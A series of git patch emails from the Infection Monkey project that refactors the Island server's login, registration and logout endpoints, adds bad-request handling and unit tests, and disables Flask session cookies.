a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_authenticate.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py @@ -1,9 +1,9 @@ -from flask import Response from unittest.mock import MagicMock import pytest +from flask import Response -from monkey_island.cc.resources.auth import Authenticate +from monkey_island.cc.resources.auth import Login USERNAME = "test_user" PASSWORD = "test_password" @@ -11,8 +11,8 @@ @pytest.fixture -def make_auth_request(flask_client): - url = Authenticate.urls[0] +def make_login_request(flask_client): + url = Login.urls[0] def inner(request_body): return flask_client.post(url, data=request_body, follow_redirects=True) @@ -20,54 +20,54 @@ def inner(request_body): return inner -def test_credential_parsing(make_auth_request, mock_authentication_service, monkeypatch): +def test_credential_parsing(make_login_request, mock_authentication_service, monkeypatch): monkeypatch.setattr( - "monkey_island.cc.resources.auth.authenticate.login", + "monkey_island.cc.resources.auth.login.login", lambda: Response( status=200, ), ) - make_auth_request(TEST_REQUEST) + make_login_request(TEST_REQUEST) mock_authentication_service.unlock_repository_encryptor.assert_called_with(USERNAME, PASSWORD) -def test_empty_credentials(make_auth_request, mock_authentication_service): - make_auth_request("{}") +def test_empty_credentials(make_login_request, mock_authentication_service): + make_login_request("{}") mock_authentication_service.unlock_repository_encryptor.assert_not_called() -def test_authentication_successful(make_auth_request, monkeypatch): +def test_authentication_successful(make_login_request, monkeypatch): monkeypatch.setattr( - "monkey_island.cc.resources.auth.authenticate.login", + "monkey_island.cc.resources.auth.login.login", lambda: Response( status=200, ), ) - response = make_auth_request(TEST_REQUEST) + response = make_login_request(TEST_REQUEST) assert response.status_code == 200 -def test_authentication_failure(make_auth_request, mock_authentication_service, monkeypatch): +def test_authentication_failure(make_login_request, mock_authentication_service, monkeypatch): monkeypatch.setattr( - "monkey_island.cc.resources.auth.authenticate.login", + "monkey_island.cc.resources.auth.login.login", lambda: Response( status=400, ), ) - response = make_auth_request(TEST_REQUEST) + response = make_login_request(TEST_REQUEST) assert response.status_code == 400 mock_authentication_service.unlock_repository_encryptor.assert_not_called() -def test_authentication_error(make_auth_request, mock_authentication_service): +def test_authentication_error(make_login_request, mock_authentication_service): mock_authentication_service.unlock_repository_encryptor = MagicMock(side_effect=Exception()) - response = make_auth_request(TEST_REQUEST) + response = make_login_request(TEST_REQUEST) assert "access_token" not in response.json assert response.status_code == 500 diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py index aaa668b94dc..49fd04221a8 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py @@ -11,7 +11,7 @@ @pytest.fixture -def make_auth_request(flask_client): +def make_login_request(flask_client): url = Register.urls[0] def inner(request_body): @@ -20,21 +20,21 @@ def inner(request_body): return inner -def test_register_failed(monkeypatch, make_auth_request, mock_authentication_service): +def test_register_failed(monkeypatch, make_login_request, mock_authentication_service): monkeypatch.setattr( "monkey_island.cc.resources.auth.register.register", lambda: Response( status=400, ), ) - response = make_auth_request("{}") + response = make_login_request("{}") mock_authentication_service.reset_island_data.assert_not_called() mock_authentication_service.reset_repository_encryptor.assert_not_called() assert response.status_code == 400 -def test_register_successful(monkeypatch, make_auth_request, mock_authentication_service): +def test_register_successful(monkeypatch, make_login_request, mock_authentication_service): monkeypatch.setattr( "monkey_island.cc.resources.auth.register.register", lambda: Response( @@ -42,14 +42,14 @@ def test_register_successful(monkeypatch, make_auth_request, mock_authentication ), ) - response = make_auth_request(TEST_REQUEST) + response = make_login_request(TEST_REQUEST) assert response.status_code == 200 mock_authentication_service.reset_island_data.assert_called_once() mock_authentication_service.reset_repository_encryptor.assert_called_once() -def test_register_error(monkeypatch, make_auth_request, mock_authentication_service): +def test_register_error(monkeypatch, make_login_request, mock_authentication_service): monkeypatch.setattr( "monkey_island.cc.resources.auth.register.register", lambda: Response(status=200), @@ -57,6 +57,6 @@ def test_register_error(monkeypatch, make_auth_request, mock_authentication_serv mock_authentication_service.reset_island_data = MagicMock(side_effect=Exception()) - response = make_auth_request(TEST_REQUEST) + response = make_login_request(TEST_REQUEST) assert response.status_code == 500 From 21eeaf007dea55e6553f1cc608e29f5620796c60 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 2 Mar 2023 12:28:28 +0200 Subject: [PATCH 0433/1338] Common: Remove incorrect credentials error No one is using it, since flask-security-too has it's own errors --- monkey/common/utils/exceptions.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index a9368f20756..d3464d345ea 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -2,9 +2,5 @@ class FailedExploitationError(Exception): """Raise when exploiter fails instead of returning False""" -class IncorrectCredentialsError(Exception): - """Raise to indicate that authentication failed""" - - class DomainControllerNameFetchError(FailedExploitationError): """Raise on failed attempt to extract domain controller's name""" From 762c6316d1eb8e1e7a81e5ca1048fd8b002daece Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 2 Mar 2023 12:45:59 +0200 Subject: [PATCH 0434/1338] UT: Fix up registration and login unit test naming --- .../monkey_island/cc/resources/auth/test_login.py | 6 +++--- .../cc/resources/auth/test_register.py | 14 +++++++------- 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py index 4c86dd03573..0b9c0b84478 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py @@ -37,7 +37,7 @@ def test_empty_credentials(make_login_request, mock_authentication_service): mock_authentication_service.unlock_repository_encryptor.assert_not_called() -def test_authentication_successful(make_login_request, monkeypatch): +def test_login_successful(make_login_request, monkeypatch): monkeypatch.setattr( "monkey_island.cc.resources.auth.login.login", lambda: Response( @@ -50,7 +50,7 @@ def test_authentication_successful(make_login_request, monkeypatch): assert response.status_code == 200 -def test_authentication_failure(make_login_request, mock_authentication_service, monkeypatch): +def test_login_failure(make_login_request, mock_authentication_service, monkeypatch): monkeypatch.setattr( "monkey_island.cc.resources.auth.login.login", lambda: Response( @@ -64,7 +64,7 @@ def test_authentication_failure(make_login_request, mock_authentication_service, mock_authentication_service.unlock_repository_encryptor.assert_not_called() -def test_authentication_error(make_login_request, mock_authentication_service): +def test_login_error(make_login_request, mock_authentication_service): mock_authentication_service.unlock_repository_encryptor = MagicMock(side_effect=Exception()) response = make_login_request(TEST_REQUEST) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py index 49fd04221a8..9dec530e49d 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py @@ -11,7 +11,7 @@ @pytest.fixture -def make_login_request(flask_client): +def make_registration_request(flask_client): url = Register.urls[0] def inner(request_body): @@ -20,21 +20,21 @@ def inner(request_body): return inner -def test_register_failed(monkeypatch, make_login_request, mock_authentication_service): +def test_register_failed(monkeypatch, make_registration_request, mock_authentication_service): monkeypatch.setattr( "monkey_island.cc.resources.auth.register.register", lambda: Response( status=400, ), ) - response = make_login_request("{}") + response = make_registration_request("{}") mock_authentication_service.reset_island_data.assert_not_called() mock_authentication_service.reset_repository_encryptor.assert_not_called() assert response.status_code == 400 -def test_register_successful(monkeypatch, make_login_request, mock_authentication_service): +def test_register_successful(monkeypatch, make_registration_request, mock_authentication_service): monkeypatch.setattr( "monkey_island.cc.resources.auth.register.register", lambda: Response( @@ -42,14 +42,14 @@ def test_register_successful(monkeypatch, make_login_request, mock_authenticatio ), ) - response = make_login_request(TEST_REQUEST) + response = make_registration_request(TEST_REQUEST) assert response.status_code == 200 mock_authentication_service.reset_island_data.assert_called_once() mock_authentication_service.reset_repository_encryptor.assert_called_once() -def test_register_error(monkeypatch, make_login_request, mock_authentication_service): +def test_register_error(monkeypatch, make_registration_request, mock_authentication_service): monkeypatch.setattr( "monkey_island.cc.resources.auth.register.register", lambda: Response(status=200), @@ -57,6 +57,6 @@ def test_register_error(monkeypatch, make_login_request, mock_authentication_ser mock_authentication_service.reset_island_data = MagicMock(side_effect=Exception()) - response = make_login_request(TEST_REQUEST) + response = make_registration_request(TEST_REQUEST) assert response.status_code == 500 From 23c14ea19ca90a55b72046285e92050f7c3a77e5 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 2 Mar 2023 13:06:07 +0100 Subject: [PATCH 0435/1338] Island: Wrap register to return bad request response on exception --- .../cc/resources/auth/register.py | 16 ++++++++++--- .../cc/server_utils/response_utils.py | 10 ++++++++ .../cc/resources/auth/test_register.py | 23 ++++++++++++++----- 3 files changed, 40 insertions(+), 9 deletions(-) create mode 100644 monkey/monkey_island/cc/server_utils/response_utils.py diff --git a/monkey/monkey_island/cc/resources/auth/register.py b/monkey/monkey_island/cc/resources/auth/register.py index f3e6b0ef0db..7fcc8856509 100644 --- a/monkey/monkey_island/cc/resources/auth/register.py +++ b/monkey/monkey_island/cc/resources/auth/register.py @@ -1,12 +1,13 @@ import logging from http import HTTPStatus -from flask import make_response, request +from flask import make_response, request, Response from flask.typing import ResponseValue from flask_security.views import register from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.resources.auth.credential_utils import get_username_password_from_request +from monkey_island.cc.server_utils.response_utils import bad_request_response from monkey_island.cc.services.authentication_service import AuthenticationService logger = logging.getLogger(__name__) @@ -27,10 +28,19 @@ def post(self): Registers a new user using flask security register """ - response: ResponseValue = register() + try: + username, password = get_username_password_from_request(request) + response: ResponseValue = register() + except Exception: + return bad_request_response() + + # Register view treat the request as form submit which may return something + # that it is not a response + if not isinstance(response, Response): + return bad_request_response() + if response.status_code == HTTPStatus.OK: self._authentication_service.reset_island_data() - username, password = get_username_password_from_request(request) self._authentication_service.reset_repository_encryptor(username, password) return make_response(response) diff --git a/monkey/monkey_island/cc/server_utils/response_utils.py b/monkey/monkey_island/cc/server_utils/response_utils.py new file mode 100644 index 00000000000..491835c4d17 --- /dev/null +++ b/monkey/monkey_island/cc/server_utils/response_utils.py @@ -0,0 +1,10 @@ +from http import HTTPStatus + +from flask import Response, make_response + + +def bad_request_response() -> Response: + return make_response( + {"message": "Invalid request"}, + HTTPStatus.BAD_REQUEST, + ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py index 9dec530e49d..5bd06bfdd1c 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py @@ -21,12 +21,6 @@ def inner(request_body): def test_register_failed(monkeypatch, make_registration_request, mock_authentication_service): - monkeypatch.setattr( - "monkey_island.cc.resources.auth.register.register", - lambda: Response( - status=400, - ), - ) response = make_registration_request("{}") mock_authentication_service.reset_island_data.assert_not_called() @@ -49,6 +43,23 @@ def test_register_successful(monkeypatch, make_registration_request, mock_authen mock_authentication_service.reset_repository_encryptor.assert_called_once() +@pytest.mark.parametrize( + "register_response", [1111, "adfasdf", None, True, MagicMock(side_effect=Exception)] +) +def test_register_invalid_request( + monkeypatch, register_response, make_registration_request, mock_authentication_service +): + monkeypatch.setattr( + "monkey_island.cc.resources.auth.register.register", lambda: register_response + ) + + response = make_registration_request(b"{}") + + assert response.status_code == 400 + mock_authentication_service.reset_island_data.assert_not_called() + mock_authentication_service.reset_repository_encryptor.assert_not_called() + + def test_register_error(monkeypatch, make_registration_request, mock_authentication_service): monkeypatch.setattr( "monkey_island.cc.resources.auth.register.register", From 5586ef438fc3a28805c569a40e27bd57caaa126f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 2 Mar 2023 13:06:41 +0100 Subject: [PATCH 0436/1338] Island: Wrap login to return bad request response on Exception --- .../monkey_island/cc/resources/auth/login.py | 13 ++++++++--- .../cc/resources/auth/test_login.py | 22 ++++++++++++++++++- 2 files changed, 31 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/login.py b/monkey/monkey_island/cc/resources/auth/login.py index cb23ef54d54..e433570d7bd 100644 --- a/monkey/monkey_island/cc/resources/auth/login.py +++ b/monkey/monkey_island/cc/resources/auth/login.py @@ -1,12 +1,13 @@ import logging from http import HTTPStatus -from flask import make_response, request +from flask import Response, make_response, request from flask.typing import ResponseValue from flask_security.views import login from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.resources.auth.credential_utils import get_username_password_from_request +from monkey_island.cc.server_utils.response_utils import bad_request_response from monkey_island.cc.services import AuthenticationService logger = logging.getLogger(__name__) @@ -32,10 +33,16 @@ def post(self): :return: Access token in the response body :raises IncorrectCredentialsError: If credentials are invalid """ + try: + username, password = get_username_password_from_request(request) + response: ResponseValue = login() + except Exception: + return bad_request_response() + + if not isinstance(response, Response): + return response_to_invalid_request() - response: ResponseValue = login() if response.status_code == HTTPStatus.OK: - username, password = get_username_password_from_request(request) self._authentication_service.unlock_repository_encryptor(username, password) return make_response(response) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py index 0b9c0b84478..f9074ea3a5f 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py @@ -64,7 +64,27 @@ def test_login_failure(make_login_request, mock_authentication_service, monkeypa mock_authentication_service.unlock_repository_encryptor.assert_not_called() -def test_login_error(make_login_request, mock_authentication_service): +@pytest.mark.parametrize( + "login_response", [1111, "adfasdf", None, True, MagicMock(side_effect=Exception)] +) +def test_login_invalid_request( + monkeypatch, login_response, make_login_request, mock_authentication_service +): + monkeypatch.setattr("monkey_island.cc.resources.auth.login.login", lambda: login_response) + + response = make_login_request(b"{}") + + assert response.status_code == 400 + mock_authentication_service.unlock_repository_encryptor.assert_not_called() + + +def test_login_error(monkeypatch, make_login_request, mock_authentication_service): + monkeypatch.setattr( + "monkey_island.cc.resources.auth.login.login", + lambda: Response( + status=200, + ), + ) mock_authentication_service.unlock_repository_encryptor = MagicMock(side_effect=Exception()) response = make_login_request(TEST_REQUEST) From 51dad75f24121c034fa720089d2d352931e2f0b9 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 2 Mar 2023 13:28:16 +0100 Subject: [PATCH 0437/1338] Island: Rename bad_request_response to response_to_invalid_request --- monkey/monkey_island/cc/resources/auth/login.py | 4 ++-- monkey/monkey_island/cc/resources/auth/register.py | 6 +++--- monkey/monkey_island/cc/server_utils/response_utils.py | 2 +- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/login.py b/monkey/monkey_island/cc/resources/auth/login.py index e433570d7bd..85f1ac32234 100644 --- a/monkey/monkey_island/cc/resources/auth/login.py +++ b/monkey/monkey_island/cc/resources/auth/login.py @@ -7,7 +7,7 @@ from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.resources.auth.credential_utils import get_username_password_from_request -from monkey_island.cc.server_utils.response_utils import bad_request_response +from monkey_island.cc.server_utils.response_utils import response_to_invalid_request from monkey_island.cc.services import AuthenticationService logger = logging.getLogger(__name__) @@ -37,7 +37,7 @@ def post(self): username, password = get_username_password_from_request(request) response: ResponseValue = login() except Exception: - return bad_request_response() + return response_to_invalid_request() if not isinstance(response, Response): return response_to_invalid_request() diff --git a/monkey/monkey_island/cc/resources/auth/register.py b/monkey/monkey_island/cc/resources/auth/register.py index 7fcc8856509..14075e2708c 100644 --- a/monkey/monkey_island/cc/resources/auth/register.py +++ b/monkey/monkey_island/cc/resources/auth/register.py @@ -7,7 +7,7 @@ from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.resources.auth.credential_utils import get_username_password_from_request -from monkey_island.cc.server_utils.response_utils import bad_request_response +from monkey_island.cc.server_utils.response_utils import response_to_invalid_request from monkey_island.cc.services.authentication_service import AuthenticationService logger = logging.getLogger(__name__) @@ -32,12 +32,12 @@ def post(self): username, password = get_username_password_from_request(request) response: ResponseValue = register() except Exception: - return bad_request_response() + return response_to_invalid_request() # Register view treat the request as form submit which may return something # that it is not a response if not isinstance(response, Response): - return bad_request_response() + return response_to_invalid_request() if response.status_code == HTTPStatus.OK: self._authentication_service.reset_island_data() diff --git a/monkey/monkey_island/cc/server_utils/response_utils.py b/monkey/monkey_island/cc/server_utils/response_utils.py index 491835c4d17..3b8e9c6ec0c 100644 --- a/monkey/monkey_island/cc/server_utils/response_utils.py +++ b/monkey/monkey_island/cc/server_utils/response_utils.py @@ -3,7 +3,7 @@ from flask import Response, make_response -def bad_request_response() -> Response: +def response_to_invalid_request() -> Response: return make_response( {"message": "Invalid request"}, HTTPStatus.BAD_REQUEST, From 2b7481ef367ca6d4e6453c147d46099c83234137 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 2 Mar 2023 17:55:22 +0100 Subject: [PATCH 0438/1338] UT: Add more things to invalid request tests in login and register endpoints --- .../monkey_island/cc/resources/auth/test_login.py | 13 ++++++++++++- .../cc/resources/auth/test_register.py | 13 ++++++++++++- 2 files changed, 24 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py index f9074ea3a5f..4c2bf9c6b99 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py @@ -65,7 +65,18 @@ def test_login_failure(make_login_request, mock_authentication_service, monkeypa @pytest.mark.parametrize( - "login_response", [1111, "adfasdf", None, True, MagicMock(side_effect=Exception)] + "login_response", + [ + 1111, + "adfasdf", + None, + True, + MagicMock(side_effect=Exception), + {"some_value": "other_value"}, + b"bogus_bytes", + b"{bogus}", + ["item1", 123, "something"], + ], ) def test_login_invalid_request( monkeypatch, login_response, make_login_request, mock_authentication_service diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py index 5bd06bfdd1c..257d7001067 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py @@ -44,7 +44,18 @@ def test_register_successful(monkeypatch, make_registration_request, mock_authen @pytest.mark.parametrize( - "register_response", [1111, "adfasdf", None, True, MagicMock(side_effect=Exception)] + "register_response", + [ + 1111, + "adfasdf", + None, + True, + MagicMock(side_effect=Exception), + {"some_value": "other_value"}, + b"bogus_bytes", + b"{bogus}", + ["item1", 123, "something"], + ], ) def test_register_invalid_request( monkeypatch, register_response, make_registration_request, mock_authentication_service From 3d55b97c8c1c95ed18147e15630bc005d44c662b Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 2 Mar 2023 18:22:39 +0100 Subject: [PATCH 0439/1338] Island: Add docstring for get_username_password_from_request --- monkey/monkey_island/cc/resources/auth/credential_utils.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/monkey/monkey_island/cc/resources/auth/credential_utils.py b/monkey/monkey_island/cc/resources/auth/credential_utils.py index 57d5ebc7048..1da382a5110 100644 --- a/monkey/monkey_island/cc/resources/auth/credential_utils.py +++ b/monkey/monkey_island/cc/resources/auth/credential_utils.py @@ -5,6 +5,13 @@ def get_username_password_from_request(_request: Request) -> Tuple[str, str]: + """ + Deserialize the JSON binary data from the request and get the plaintext + username and password. + + :param _request: A Flask Request object + :raises JSONDecodeError: If invalid JSON data is provided + """ cred_dict = json.loads(request.data) username = cred_dict.get("username", "") password = cred_dict.get("password", "") From 74e00a1be3f54dc4b796b870805f78a59b55c685 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 3 Mar 2023 12:47:22 +0100 Subject: [PATCH 0440/1338] Island: Disable session-based cookies in Flask Issue: #2157 PR: #3044 --- monkey/monkey_island/cc/app.py | 18 ++++++++++++++++++ vulture_allowlist.py | 4 ++++ 2 files changed, 22 insertions(+) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 66d73350d4a..568c5c352f1 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -3,6 +3,7 @@ import flask_restful from flask import Flask, Response, send_from_directory +from flask.sessions import SecureCookieSessionInterface from flask_mongoengine import MongoEngine from flask_security import ConfirmRegisterForm, MongoEngineUserDatastore, Security from werkzeug.exceptions import NotFound @@ -85,6 +86,8 @@ def setup_authentication(app, data_dir): # Ignore CSRF, because it's irrelevant for javascript applications app.config["WTF_CSRF_CHECK_DEFAULT"] = False app.config["SECURITY_CSRF_IGNORE_UNAUTH_ENDPOINTS"] = True + # Forbid sending authentication token in URL parameters + app.config["SECURITY_TOKEN_AUTHENTICATION_KEY"] = None # The database object needs to be created after we configure the flask application db = MongoEngine(app) @@ -112,6 +115,8 @@ class CustomConfirmRegisterForm(ConfirmRegisterForm): confirm_register_form=CustomConfirmRegisterForm, ) + app.session_interface = disable_session_cookies() + def init_app_config(app, mongo_url, data_dir: Path): app.config["MONGO_URI"] = mongo_url @@ -132,6 +137,19 @@ def init_app_config(app, mongo_url, data_dir: Path): setup_authentication(app, data_dir) +def disable_session_cookies() -> SecureCookieSessionInterface: + class CustomSessionInterface(SecureCookieSessionInterface): + """Prevent creating session from API requests.""" + + def should_set_cookie(self, *args, **kwargs): + return False + + def save_session(self, *args, **kwargs): + return + + return CustomSessionInterface() + + def init_app_url_rules(app): app.add_url_rule("/", "serve_home", serve_home) app.add_url_rule("/", "serve_static_file", serve_static_file) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 24e16d15b2e..6e0278fd03c 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -87,6 +87,10 @@ app.url_map.strict_slashes api.representations hub.exception_stream +app.login_via_request +app.should_set_cookie +app.session_interface +app.save_session # Deployment is chosen dynamically Deployment.DEVELOP From 8794dc72732060b201df84de6d413db0e58c4f9a Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 2 Mar 2023 17:36:57 +0200 Subject: [PATCH 0441/1338] Island: Add logout skeleton --- .../monkey_island/cc/resources/auth/logout.py | 29 +++++++++++++++++++ .../cc/services/authentication_service.py | 3 ++ .../cc/ui/src/components/Main.tsx | 3 ++ .../cc/ui/src/services/AuthService.js | 20 ++++--------- 4 files changed, 40 insertions(+), 15 deletions(-) create mode 100644 monkey/monkey_island/cc/resources/auth/logout.py diff --git a/monkey/monkey_island/cc/resources/auth/logout.py b/monkey/monkey_island/cc/resources/auth/logout.py new file mode 100644 index 00000000000..f494b7dc9b9 --- /dev/null +++ b/monkey/monkey_island/cc/resources/auth/logout.py @@ -0,0 +1,29 @@ +import logging +from http import HTTPStatus + +from flask import make_response +from flask.typing import ResponseValue +from flask_security.views import logout + +from monkey_island.cc.resources.AbstractResource import AbstractResource +from monkey_island.cc.services import AuthenticationService + +logger = logging.getLogger(__name__) + + +class Logout(AbstractResource): + """ + A resource logging out an authenticated user + """ + + urls = ["/api/logout"] + + def __init__(self, authentication_service: AuthenticationService): + self._authentication_service = authentication_service + + def post(self): + response: ResponseValue = logout() + if response.status_code == HTTPStatus.OK: + self._authentication_service.lock_repository_encryptor() + + return make_response(response) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index d1e09dbbb74..3e52e283bb7 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -47,6 +47,9 @@ def unlock_repository_encryptor(self, username: str, password: str): secret = _get_secret_from_credentials(username, password) self._repository_encryptor.unlock(secret.encode()) + def lock_repository_encryptor(self): + self._repository_encryptor.lock() + def _get_secret_from_credentials(username: str, password: str) -> str: return f"{username}:{password}" diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index a59c45107cf..fe241a14590 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -28,6 +28,7 @@ import IslandHttpClient, { APIEndpoint } from "./IslandHttpClient"; import {FontAwesomeIcon} from "@fortawesome/react-fontawesome"; import {faFileCode, faLightbulb} from "@fortawesome/free-solid-svg-icons"; import { doesAnyAgentExist, didAllAgentsShutdown } from './utils/ServerUtils'; +import AuthService from '../services/AuthService'; let notificationIcon = require('../images/notification-logo-512x512.png'); @@ -39,6 +40,7 @@ export const IslandRoutes = { RansomwareReport: '/report/ransomware', LoginPage: '/login', RegisterPage: '/register', + Logout: '/logout', ConfigurePage: '/configure', RunMonkeyPage: '/run-monkey', MapPage: '/infection/map', @@ -232,6 +234,7 @@ class AppComponent extends AuthComponent { }/> + new AuthService().logout()}/> }/> {this.renderRoute(IslandRoutes.LandingPage, { + return this._authFetch(this.LOGOUT_ENDPOINT); + } + authFetch = (url, options) => { return this._authFetch(url, options); }; @@ -105,18 +107,6 @@ export default class AuthService { return ((token !== null) && !this._isTokenExpired(token)); } - logout = () => { - this._removeToken(); - }; - - _isTokenExpired(token) { - try { - return decode(token)['exp'] - this.SECONDS_BEFORE_JWT_EXPIRES < Date.now() / 1000; - } catch (err) { - return false; - } - } - _setToken(idToken) { localStorage.setItem('jwt', idToken); } From 0ee7163621333342e955aa42fd8096ea5a727e70 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 2 Mar 2023 22:31:32 +0000 Subject: [PATCH 0442/1338] Island: Register logout endpoint --- monkey/monkey_island/cc/app.py | 2 +- monkey/monkey_island/cc/resources/auth/__init__.py | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 568c5c352f1..323cc65378c 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -31,7 +31,7 @@ ResetAgentConfiguration, TerminateAllAgents, ) -from monkey_island.cc.resources.auth import Login, Register, RegistrationStatus +from monkey_island.cc.resources.auth import Login, Logout, Register, RegistrationStatus from monkey_island.cc.resources.exploitations.monkey_exploitation import MonkeyExploitation from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun diff --git a/monkey/monkey_island/cc/resources/auth/__init__.py b/monkey/monkey_island/cc/resources/auth/__init__.py index 5bad7abceeb..010e344e7b2 100644 --- a/monkey/monkey_island/cc/resources/auth/__init__.py +++ b/monkey/monkey_island/cc/resources/auth/__init__.py @@ -1,3 +1,4 @@ from .login import Login +from .logout import Logout from .registration_status import RegistrationStatus from .register import Register From f864ce22ded391349c1a7827fef972209255112f Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 3 Mar 2023 14:49:18 +0200 Subject: [PATCH 0443/1338] Island: Handle errors in logout and add tests --- .../monkey_island/cc/resources/auth/logout.py | 11 ++++- .../cc/resources/auth/test_logout.py | 49 +++++++++++++++++++ 2 files changed, 58 insertions(+), 2 deletions(-) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py diff --git a/monkey/monkey_island/cc/resources/auth/logout.py b/monkey/monkey_island/cc/resources/auth/logout.py index f494b7dc9b9..629f6905aa1 100644 --- a/monkey/monkey_island/cc/resources/auth/logout.py +++ b/monkey/monkey_island/cc/resources/auth/logout.py @@ -1,11 +1,12 @@ import logging from http import HTTPStatus -from flask import make_response +from flask import Response, make_response from flask.typing import ResponseValue from flask_security.views import logout from monkey_island.cc.resources.AbstractResource import AbstractResource +from monkey_island.cc.server_utils.response_utils import response_to_invalid_request from monkey_island.cc.services import AuthenticationService logger = logging.getLogger(__name__) @@ -22,7 +23,13 @@ def __init__(self, authentication_service: AuthenticationService): self._authentication_service = authentication_service def post(self): - response: ResponseValue = logout() + try: + response: ResponseValue = logout() + except Exception: + return response_to_invalid_request() + + if not isinstance(response, Response): + return response_to_invalid_request() if response.status_code == HTTPStatus.OK: self._authentication_service.lock_repository_encryptor() diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py new file mode 100644 index 00000000000..536923692d3 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py @@ -0,0 +1,49 @@ +import pytest +from flask import Response + +from monkey_island.cc.resources.auth import Logout + +USERNAME = "test_user" +PASSWORD = "test_password" +TEST_REQUEST = f'{{"username": "{USERNAME}", "password": "{PASSWORD}"}}' + + +@pytest.fixture +def make_logout_request(flask_client): + url = Logout.urls[0] + + def inner(request_body): + return flask_client.post(url, data=request_body, follow_redirects=True) + + return inner + + +@pytest.mark.parametrize( + "request_data", + [ + "adfasdf", + None, + {"some_value": "other_value"}, + b"bogus_bytes", + b"{bogus}", + ], +) +def test_logout_failed(monkeypatch, make_logout_request, mock_authentication_service, request_data): + response = make_logout_request(request_data) + + mock_authentication_service.lock_repository_encryptor.assert_not_called() + assert response.status_code == 400 + + +def test_logout_successful(monkeypatch, make_logout_request, mock_authentication_service): + monkeypatch.setattr( + "monkey_island.cc.resources.auth.logout.logout", + lambda: Response( + status=200, + ), + ) + + response = make_logout_request("") + + assert response.status_code == 200 + mock_authentication_service.lock_repository_encryptor.assert_called_once() From ae6193641b3a9ebdcd3e8793ccbb470124257413 Mon Sep 